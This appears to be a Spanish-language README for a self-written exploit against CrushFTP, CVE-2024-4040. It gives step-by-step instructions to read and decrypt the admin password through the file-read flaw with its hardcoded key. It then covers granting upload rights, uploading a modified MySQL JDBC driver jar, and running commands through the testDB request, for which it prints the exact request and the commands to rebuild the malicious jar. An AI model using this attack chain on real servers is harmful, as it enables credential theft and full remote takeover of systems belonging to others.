CVE-2024-4040

Introducción

• Recientemente vi esta vulnerabilidad y la encontré bastante interesante. Leí los siguientes artículos y escribí un pequeño exploit.
  • https://y4tacker.github.io/2023/12/10/year/2023/12/CrushFTP-Unauthenticated-Remote-Code-Execution-CVE-2023-43177/
  • https://y4tacker.github.io/2024/04/25/year/2024/4/CrushFTP-Post-Exploitation-Privilege-Escalation-Analysis-CVE-2024-4040/

Máquina objetivo

• Se utiliza el docker de otra persona. Para más detalles, consulte el GitHub del autor.
  • https://github.com/MarkusMcNugen/docker-CrushFTP

docker run -p 21:21 -p 443:443 -p 2000-2100:2000-2100 -p 2222:2222 -p 8081:8080 -p 9090:9090 -v <volume>:/var/opt/CrushFTP10 markusmcnugen/crushftp

Proceso de ataque

Obtener contraseña

• Utilice exploit.py y decrypt.java para obtener y descifrar la contraseña. En resumen, la clave está hardcodeada, por lo que se puede descifrar y también se puede leer cualquier archivo.
• Tenga en cuenta que si el administrador predeterminado, crushadmin, no existe, puede intentar obtener CrushFTP.log, que contiene información de cuentas de referencia.
  • <INCLUDE>CrushFTP.log</INCLUDE>
  • 

exploit.py

usage: exploit.py [-h] -u URL [-H HEADERS] [--account ACCOUNT] [--shell] [--jar-path JAR_PATH]

CVE-2024-4040

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     The target URL
  -H HEADERS, --headers HEADERS
                        Headers
  --account ACCOUNT     The target account
  --shell
  --jar-path JAR_PATH   Jar file path

• La lógica primero verifica si el objetivo es vulnerable utilizando cuatro cuentas predeterminadas e intenta obtener el archivo user.XML.
• Una vez confirmada la vulnerabilidad, obtiene la cuenta especificada por el usuario; si no se proporciona, se utiliza por defecto la cuenta de administrador crushadmin.
• Después de obtener la contraseña, se utiliza decrypt.java para descifrarla.
• La función --shell permite ver cómodamente los resultados después de RCE. Después de cargar el archivo jar de la siguiente manera, puede especificar --jar-path y --headers para ver el resultado del comando ejecutado.
  • Tenga en cuenta que --headers debe incluir la Cookie de inicio de sesión, por ejemplo: --headers "Cookie: currentAuth=a1FE; CrushAuth=1720166068377_Pa6SmqX7UzqLJ7gZtcllYhjlssa1FE"
  • --jar-path por defecto es /tmp/mysql_cmd_db_user_final_with_echo_base64.jar. Si está en una ubicación diferente, asegúrese de especificar la ruta. En teoría, las rutas relativas también funcionan, pero se recomienda usar rutas absolutas.

Iniciar sesión para ajustar mapeo y permisos

• Después de iniciar sesión, acceda a admin.
  • 
• Localice User Manager, luego haga clic en el usuario de la izquierda. Arrastre la carpeta que desea mapear a User's Stuff y finalmente ajuste los permisos. Asegúrese de marcar "upload".
  • 

Subir archivo jar malicioso

• Suba el archivo jar malicioso. Ya hay dos compilados, uno para JDK 16 y otro para JDK 13, dependiendo de la versión de Java del servidor.
• Vuelva a la sección de archivos, haga clic en upload y suba el archivo jar malicioso.
  • 

RCE

• La razón de RCE es que existe una función testDB que permite especificar el archivo jar y el objeto driver, además de poder subir archivos. Combinando estos, se puede lograr RCE.

command=testDB&db_driver_file=<path_to_evil_jar>&db_driver=org.gjt.mm.mysql.Driver&db_url=jdbc%253Amysql%253A%252F%252F127.0.0.1%253A3306%252Fcrushftp%253FautoReconnect%253Dtrue&db_user=<base64_encoded_command>&db_pass=&c2f=<currentAuth>

• 
  • El comando en la imagen es id.
  • Pase el comando codificado en base64 en el parámetro db_user para ejecutarlo.
• El conector MySQL que modifiqué es la versión 5.0.4.
• Si las dos versiones compiladas no funcionan, proporciono mi versión modificada. Se puede recompilar con los siguientes comandos:
  • mkdir mysql-connector-java-5.0.4 && cd mysql-connector-java-5.0.4 && jar -xvf ../mysql-connector-java-5.0.4.jar
  • cp ../NonRegisteringDriver.java com/mysql/jdbc/NonRegisteringDriver.java
  • javac -verbose -classpath . com/mysql/jdbc/NonRegisteringDriver.java
  • jar cf ../mysql_cmd_db_user_final_with_echo_base64.jar *